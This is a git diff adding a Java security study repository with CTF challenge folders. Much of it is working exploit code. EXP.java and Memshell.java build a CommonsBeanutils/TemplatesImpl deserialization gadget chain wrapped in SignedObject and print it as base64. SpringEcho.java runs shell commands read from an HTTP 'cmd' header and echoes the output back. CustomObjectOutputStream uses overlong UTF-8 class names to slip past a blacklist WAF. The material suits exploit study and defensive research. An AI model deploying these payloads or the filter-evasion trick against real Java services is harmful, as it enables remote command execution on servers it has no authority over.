@@ -0,0 +1,23 @@
+
+ 4.0.0
+ org.example
+ TwiceDeserialize
+ 1.0-SNAPSHOT
+ pom
+ Archetype - TwiceDeserialize
+ http://maven.apache.org
+
+ Rome
+ CommonsBeanUtils
+ RMIConnector
+
+
+
+
+ org.javassist
+ javassist
+ 3.28.0-GA
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/ser.bin" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/ser.bin"
new file mode 100644
index 00000000..1b03b9d3
Binary files /dev/null and "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/ser.bin" differ
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..ce7353c4
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ TwiceDeserialize
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..02589d06
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $TwiceDeserialize
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 350円231円216円347円254円246円346円235円257円 ezchain/ezchain.jar" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 350円231円216円347円254円246円346円235円257円 ezchain/ezchain.jar"
new file mode 100644
index 00000000..956b1895
Binary files /dev/null and "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 350円231円216円347円254円246円346円235円257円 ezchain/ezchain.jar" differ
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/EXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/EXP.java"
new file mode 100644
index 00000000..57a2d9ac
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/EXP.java"
@@ -0,0 +1,71 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import org.apache.commons.beanutils.BeanComparator;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.Signature;
+import java.security.SignedObject;
+import java.util.Base64;
+import java.util.PriorityQueue;
+
+public class EXP {
+ public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
+ Field field = obj.getClass().getDeclaredField(fieldname);
+ field.setAccessible(true);
+ field.set(obj,value);
+ }
+
+ public static void main(String[] args) throws Exception {
+ byte[] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
+
+ TemplatesImpl obj = new TemplatesImpl();
+ setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
+ setFieldValue(obj, "_name", "a");
+ setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+ PriorityQueue queue1 = getpayload(obj, "outputProperties");
+
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
+ kpg.initialize(1024);
+ KeyPair kp = kpg.generateKeyPair();
+ SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
+
+ PriorityQueue queue2 = getpayload(signedObject, "object");
+
+ //序列化
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(baos);
+ oos.writeObject(queue2);
+ oos.close();
+ System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
+ // serialize(queue2);
+//
+// //反序列化
+ // deserialize("ser.bin");
+ }
+
+ public static PriorityQueue getpayload(Object object, String string) throws Exception {
+ BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+ PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
+ priorityQueue.add("1");
+ priorityQueue.add("2");
+ setFieldValue(beanComparator, "property", string);
+ setFieldValue(priorityQueue, "queue", new Object[]{object, null});
+ return priorityQueue;
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Evil.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Evil.java"
new file mode 100644
index 00000000..6db03202
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Evil.java"
@@ -0,0 +1,28 @@
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+import java.io.IOException;
+
+// 弹计算器的万能类
+public class Evil extends AbstractTranslet {
+ static {
+ try {
+ Runtime.getRuntime().exec("calc");
+ } catch (IOException e){
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Memshell.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Memshell.java"
new file mode 100644
index 00000000..61dbb7d6
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Memshell.java"
@@ -0,0 +1,70 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import org.apache.commons.beanutils.BeanComparator;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.Signature;
+import java.security.SignedObject;
+import java.util.Base64;
+import java.util.PriorityQueue;
+
+public class Memshell {
+ public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
+ Field field = obj.getClass().getDeclaredField(fieldname);
+ field.setAccessible(true);
+ field.set(obj,value);
+ }
+
+ public static void main(String[] args) throws Exception {
+
+ TemplatesImpl obj = new TemplatesImpl();
+ setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(SpringEcho.class.getName()).toBytecode()});
+ setFieldValue(obj, "_name", "a");
+ setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+ PriorityQueue queue1 = getpayload(obj, "outputProperties");
+
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
+ kpg.initialize(1024);
+ KeyPair kp = kpg.generateKeyPair();
+ SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
+
+ PriorityQueue queue2 = getpayload(signedObject, "object");
+
+ //序列化
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(baos);
+ oos.writeObject(queue2);
+ oos.close();
+ System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
+ // serialize(queue2);
+//
+// //反序列化
+ // deserialize("ser.bin");
+ }
+
+ public static PriorityQueue getpayload(Object object, String string) throws Exception {
+ BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+ PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
+ priorityQueue.add("1");
+ priorityQueue.add("2");
+ setFieldValue(beanComparator, "property", string);
+ setFieldValue(priorityQueue, "queue", new Object[]{object, null});
+ return priorityQueue;
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/SpringEcho.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/SpringEcho.java"
new file mode 100644
index 00000000..7b76f24d
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/SpringEcho.java"
@@ -0,0 +1,45 @@
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.util.Scanner;
+
+public class SpringEcho extends AbstractTranslet implements Serializable {
+ public SpringEcho() throws Exception{
+ Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
+ Method m = c.getMethod("getRequestAttributes");
+ Object o = m.invoke(null);
+ c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
+ m = c.getMethod("getResponse");
+ Method m1 = c.getMethod("getRequest");
+ Object resp = m.invoke(o);
+ Object req = m1.invoke(o); // HttpServletRequest
+ Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
+ Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
+ getHeader.setAccessible(true);
+ getWriter.setAccessible(true);
+ Object writer = getWriter.invoke(resp);
+ String cmd = (String)getHeader.invoke(req, "cmd");
+ String[] commands = new String[3];
+ String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
+ if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
+ commands[0] = "cmd";
+ commands[1] = "/c";
+ } else {
+ commands[0] = "/bin/sh";
+ commands[1] = "-c";
+ }
+ commands[2] = cmd;
+ writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
+ writer.getClass().getDeclaredMethod("flush").invoke(writer);
+ writer.getClass().getDeclaredMethod("close").invoke(writer);
+ }
+
+ @Override
+ public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
+ }
+ @Override
+ public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
+
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/Ez_Java.jar" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/Ez_Java.jar"
new file mode 100644
index 00000000..36cb4773
Binary files /dev/null and "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/Ez_Java.jar" differ
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore"
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/.gitignore"
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml"
new file mode 100644
index 00000000..4ee585be
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/pom.xml"
@@ -0,0 +1,21 @@
+
+ 4.0.0
+ org.example
+ UTF8Deserialize
+ 1.0-SNAPSHOT
+ Archetype - UTF8Deserialize
+ http://maven.apache.org
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 8
+ 8
+
+
+
+
+
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin"
new file mode 100644
index 00000000..3c0d7fb1
Binary files /dev/null and "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/ser.bin" differ
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java"
new file mode 100644
index 00000000..ea7e257d
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/BypassTest.java"
@@ -0,0 +1,55 @@
+import org.example.CustomObjectOutputStream;
+import org.example.Evil;
+
+import java.io.*;
+import java.util.Base64;
+
+public class BypassTest {
+ public static void main(String[] args) throws Exception {
+
+ Evil evil = new Evil();
+ String serializedString = serialize(evil);
+ deserialize(serializedString);
+ }
+
+ static boolean protect(String serializedString) {
+ String blacklist = "Evil";
+ if (serializedString.contains(blacklist)) {
+ return false;
+ }
+ return true;
+ }
+
+
+ static String serialize(Object obj) throws IOException {
+
+ ObjectOutputStream oos2 = new CustomObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos2.writeObject(obj);
+
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new CustomObjectOutputStream(baos);
+ oos.writeObject(obj);
+ oos.close();
+ return new String(Base64.getEncoder().encode(baos.toByteArray()));
+ }
+
+
+ static void deserialize(String serializedString) throws Exception {
+
+ byte[] decodedBytes = Base64.getDecoder().decode(serializedString);
+ String str1 = new String(decodedBytes); // 使用默认字符集构造字符串
+ System.out.println("String from byteArray: " + str1);
+ if (!protect(str1)) {
+ System.out.println("黑名单");
+ return;
+ }
+
+ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodedBytes);
+ ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
+
+ Object object = objectInputStream.readObject();
+ System.out.println("反序列化成功:" + object);
+
+ }
+
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java"
new file mode 100644
index 00000000..3c01c7bf
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/DeserializeTest.java"
@@ -0,0 +1,24 @@
+import org.example.Evil;
+
+import java.io.*;
+
+public class DeserializeTest {
+
+ public static void main(String[] args) throws Exception {
+ Evil evil = new Evil();
+ // serialize(evil);
+ deserialize("ser.bin");
+ }
+
+ static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java"
new file mode 100644
index 00000000..f2785fbd
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/TestByte.java"
@@ -0,0 +1,13 @@
+public class TestByte {
+ public static void main(String[] args) {
+ int b1 = 0xc1; // 1100 0001
+ int b2 = 0xaf; // 1010 1111
+ int i = ((b1 & 0x1F) << 6) | (b2 & 0x3F << 0); + System.out.println(i); + System.out.println((char) i); + String hex1 = Integer.toHexString(i); + System.out.println(hex1); + String hex2 = Integer.toHexString(i & 0xFF); + System.out.println(hex2); + } +} diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" new file mode 100644 index 00000000..998bb57c --- /dev/null +++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/CustomObjectOutputStream.java" @@ -0,0 +1,140 @@ +package org.example; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class CustomObjectOutputStream extends ObjectOutputStream { + + private static HashMap map;
+ static {
+ map = new HashMap();
+ map.put('.', new int[]{0xc0, 0xae});
+ map.put(';', new int[]{0xc0, 0xbb});
+ map.put('$', new int[]{0xc0, 0xa4});
+ map.put('[', new int[]{0xc1, 0x9b});
+ map.put(']', new int[]{0xc1, 0x9d});
+ map.put('a', new int[]{0xc1, 0xa1});
+ map.put('b', new int[]{0xc1, 0xa2});
+ map.put('c', new int[]{0xc1, 0xa3});
+ map.put('d', new int[]{0xc1, 0xa4});
+ map.put('e', new int[]{0xc1, 0xa5});
+ map.put('f', new int[]{0xc1, 0xa6});
+ map.put('g', new int[]{0xc1, 0xa7});
+ map.put('h', new int[]{0xc1, 0xa8});
+ map.put('i', new int[]{0xc1, 0xa9});
+ map.put('j', new int[]{0xc1, 0xaa});
+ map.put('k', new int[]{0xc1, 0xab});
+ map.put('l', new int[]{0xc1, 0xac});
+ map.put('m', new int[]{0xc1, 0xad});
+ map.put('n', new int[]{0xc1, 0xae});
+ map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
+ map.put('p', new int[]{0xc1, 0xb0});
+ map.put('q', new int[]{0xc1, 0xb1});
+ map.put('r', new int[]{0xc1, 0xb2});
+ map.put('s', new int[]{0xc1, 0xb3});
+ map.put('t', new int[]{0xc1, 0xb4});
+ map.put('u', new int[]{0xc1, 0xb5});
+ map.put('v', new int[]{0xc1, 0xb6});
+ map.put('w', new int[]{0xc1, 0xb7});
+ map.put('x', new int[]{0xc1, 0xb8});
+ map.put('y', new int[]{0xc1, 0xb9});
+ map.put('z', new int[]{0xc1, 0xba});
+ map.put('A', new int[]{0xc1, 0x81});
+ map.put('B', new int[]{0xc1, 0x82});
+ map.put('C', new int[]{0xc1, 0x83});
+ map.put('D', new int[]{0xc1, 0x84});
+ map.put('E', new int[]{0xc1, 0x85});
+ map.put('F', new int[]{0xc1, 0x86});
+ map.put('G', new int[]{0xc1, 0x87});
+ map.put('H', new int[]{0xc1, 0x88});
+ map.put('I', new int[]{0xc1, 0x89});
+ map.put('J', new int[]{0xc1, 0x8a});
+ map.put('K', new int[]{0xc1, 0x8b});
+ map.put('L', new int[]{0xc1, 0x8c});
+ map.put('M', new int[]{0xc1, 0x8d});
+ map.put('N', new int[]{0xc1, 0x8e});
+ map.put('O', new int[]{0xc1, 0x8f});
+ map.put('P', new int[]{0xc1, 0x90});
+ map.put('Q', new int[]{0xc1, 0x91});
+ map.put('R', new int[]{0xc1, 0x92});
+ map.put('S', new int[]{0xc1, 0x93});
+ map.put('T', new int[]{0xc1, 0x94});
+ map.put('U', new int[]{0xc1, 0x95});
+ map.put('V', new int[]{0xc1, 0x96});
+ map.put('W', new int[]{0xc1, 0x97});
+ map.put('X', new int[]{0xc1, 0x98});
+ map.put('Y', new int[]{0xc1, 0x99});
+ map.put('Z', new int[]{0xc1, 0x9a});
+ }
+ public CustomObjectOutputStream(OutputStream out) throws IOException {
+ super(out);
+ }
+
+ @Override
+ protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
+ String name = desc.getName();
+// writeUTF(desc.getName());
+ writeShort(name.length() * 2);
+ for (int i = 0; i < name.length(); i++) { + char s = name.charAt(i); +// System.out.println(s); + write(map.get(s)[0]); + write(map.get(s)[1]); + } + writeLong(desc.getSerialVersionUID()); + try { + byte flags = 0; + if ((boolean)getFieldValue(desc,"externalizable")) { + flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; + Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); + protocolField.setAccessible(true); + int protocol = (int) protocolField.get(this); + if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { + flags |= ObjectStreamConstants.SC_BLOCK_DATA; + } + } else if ((boolean)getFieldValue(desc,"serializable")){ + flags |= ObjectStreamConstants.SC_SERIALIZABLE; + } + if ((boolean)getFieldValue(desc,"hasWriteObjectData")) { + flags |= ObjectStreamConstants.SC_WRITE_METHOD; + } + if ((boolean)getFieldValue(desc,"isEnum") ) { + flags |= ObjectStreamConstants.SC_ENUM; + } + writeByte(flags); + ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc,"fields"); + writeShort(fields.length); + for (int i = 0; i < fields.length; i++) { + ObjectStreamField f = fields[i]; + writeByte(f.getTypeCode()); + writeUTF(f.getName()); + if (!f.isPrimitive()) { + Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class); + writeTypeString.setAccessible(true); + writeTypeString.invoke(this,f.getTypeString()); +// writeTypeString(f.getTypeString()); + } + } + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } + } + + public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException { + Class clazz = object.getClass();
+ Field field = clazz.getDeclaredField(fieldName);
+ field.setAccessible(true);
+ Object value = field.get(object);
+
+ return value;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java"
new file mode 100644
index 00000000..f641de41
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/java/org/example/Evil.java"
@@ -0,0 +1,12 @@
+package org.example;
+
+import java.io.IOException;
+import java.io.Serializable;
+
+public class Evil implements Serializable {
+ private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException {
+ }
+ private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {
+ Runtime.getRuntime().exec("Calc");
+ }
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..145a57f0
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ UTF8Deserialize
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
